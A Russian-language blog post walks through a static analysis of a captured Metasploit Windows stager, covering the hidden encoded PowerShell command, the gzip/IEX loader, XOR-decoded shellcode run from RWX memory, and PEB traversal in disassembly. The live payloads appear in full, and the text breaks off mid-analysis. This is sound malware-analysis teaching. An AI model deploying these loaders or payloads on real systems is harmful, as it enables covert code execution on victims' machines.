
Пошаговый разбор статического анализа шеллкода Metasploit для Windows: декодирование PowerShell-полезной нагрузки, XOR-обфускация, обход PEB и разрешение адресов через таблицу экспорта.
Для первого поста в блоге, думаю, будет полезно разобрать распространённый шеллкод Metasploit — это отличная возможность обсудить такие темы, как кодирование, PEB, Windows-шеллкоды и таблицы адресов экспорта.
Начнём с перехваченной длинной командной строки:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
Это закодированная в [base64](https://en.wikipedia.org/wiki/Base64) командная строка PowerShell (на что указывает флаг `-encodedcommand`). При декодировании она выглядит так:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Эта полезная нагрузка выполняет ещё одно декодирование base64 (части, начинающейся с "H4sIA...") и сохраняет его в поток памяти ($s).
Затем она обрабатывает его как сжатый поток (gzip), распаковывает его и выполняет содержимое (с помощью IEX).
Распаковать это довольно легко - можно использовать PowerShell, CyberChef или даже Python:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
Вывод содержит больше команд PowerShell, на этот раз с более сложной логикой:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
Давайте разберём:
$DoIt содержит большую часть логики. Она определяет функцию func_get_proc_address, которая является всего лишь обёрткой для kernel32!GetProcAddress, и использует функцию func_get_delegate_type для получения рефлексивного делегата.$var_code — это ещё одна (!) полезная нагрузка в base64, но в этот раз это менее очевидно: при наивном декодировании получается мусор.$var_code побайтово обрабатывается операцией XOR со значением 35. Это уже объясняет, почему её декодирование не даёт строк, но даже после XOR результат без правильного контекста всё равно не выглядит обнадёживающим.$var_buffer) с flAllocationType=0x3000 и flProtect=0x40. Как видно из MSDN, тип выделения — MEM_COMMIT | MEM_RESERVE, а защита страниц — PAGE_EXECUTEREADWRITE.$var_code (декодированная из base64 и обработанная XOR с константой 35), копируется в буфер и затем выполняется (с помощью делегата $var_runme).$DoIt.Это говорит нам о том, что полезную нагрузку, закодированную в base64, следует рассматривать как 32-битный шеллкод. Давайте ещё раз проанализируем его статически, применив XOR и записав в бинарный файл:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
Вот здесь начинается самое интересное. Вы можете использовать свой любимый дизассемблер (IDA, Binary Ninja и т.д.).
В вашем распоряжении даже есть отличные [онлайн-дизассемблеры](https://shell-storm.org/online/Online-Assembler-and-Disassembler), если вас не беспокоит opsec.
Начало шеллкода находится по смещению 0, и код следует рассматривать как код X86.
## Обход PEB
Код начинается с инструкции CALL:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
Инструкция cld очищает флаг направления (поэтому строковые операции, такие как movsb, перемещаются вперёд, а не назад), а затем выполняется относительный вызов по адресу 0x8f.
Поскольку call помещает следующую инструкцию в стек, мы помним, что в стек было помещено значение адреса, находящегося по смещению 6 в шеллкоде.
Давайте рассмотрим код по смещению 0x8f:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
Сразу после этого использовать `pop` для сохранения адреса — распространённый шеллкодинг-приём (последовательность `call-pop`).
Следующие push-инструкции интересны: на первый взгляд они похожи на странные константы, но при их декодировании как ANSI-строк обнаруживается кое-что любопытное:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
Поскольку мы рассматриваем push в стек — мне пришлось извлекать их в обратном порядке и убедиться, что я использую Little Endian (это символ < в коде).
Это выводит b'wininet\x00', что является именем библиотеки DLL Windows, используемой для интернет-коммуникаций.
Обратите внимание, что push esp помещает в стек адрес вершины стека, что является удобным способом получить указатель на NUL-терминированную строку wininet.
Далее мы помещаем в стек ещё одну константу (0x726774c) — она не декодируется ни во что осмысленное, — и вызываем ebp. Помните, что ebp указывает на фрагмент кода по смещению 6 от начала шеллкода, так что давайте рассмотрим эту часть!
Код по смещению 6 начинается с нескольких интересных инструкций:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
После простого пролога (сохранения всех регистров и создания нового стекового кадра) мы видим, что `edx` обнуляется (само- XOR’ингом).
Затем `edx` получает адрес `fs:[0x30]`. Этот адрес указывает на [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
PEB — это блок в режиме пользователя, содержащий полезные данные процесса, включая его командную строку, статус отладки, загруженные модули и другое. Это оптимизация производительности, позволяющая избегать лишних системных вызовов.
Мы видим несколько ссылок на адреса — в IDA можно загрузить структуру PEB, но для полноты картины:
- Смещение `0xc` — это член `LDR` структуры `PEB`, имеющий тип `PPEB_LDR_DATA`, который задокументирован [здесь](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- Смещение `0x14` в структуре `PEB_LDR_DATA` — это член `InMemoryOrderModuleList` типа `LIST_ENTRY`. Структура `LIST_ENTRY` широко используется в Windows и обычно является просто заголовком в более крупной структуре. Этот случай не исключение — реальный тип элементов — `LDR_DATA_TABLE_ENTRY`.
- По смещению `0x24` в `LDR_DATA_TABLE_ENTRY` находится член `FullDllName` типа `UNICODE_STRING`. Этот тип широко используется в Windows и по сути является контейнером для Pascal-строки — первые два WORD’а описывают длину строки и ёмкость буфера. Таким образом, по адресу `0x28` мы найдём фактический буфер, который будет сохранён в регистре `esi`.
- Регистр `ecx` находится на 2 байта раньше буфера имени DLL — и содержит длину строки.
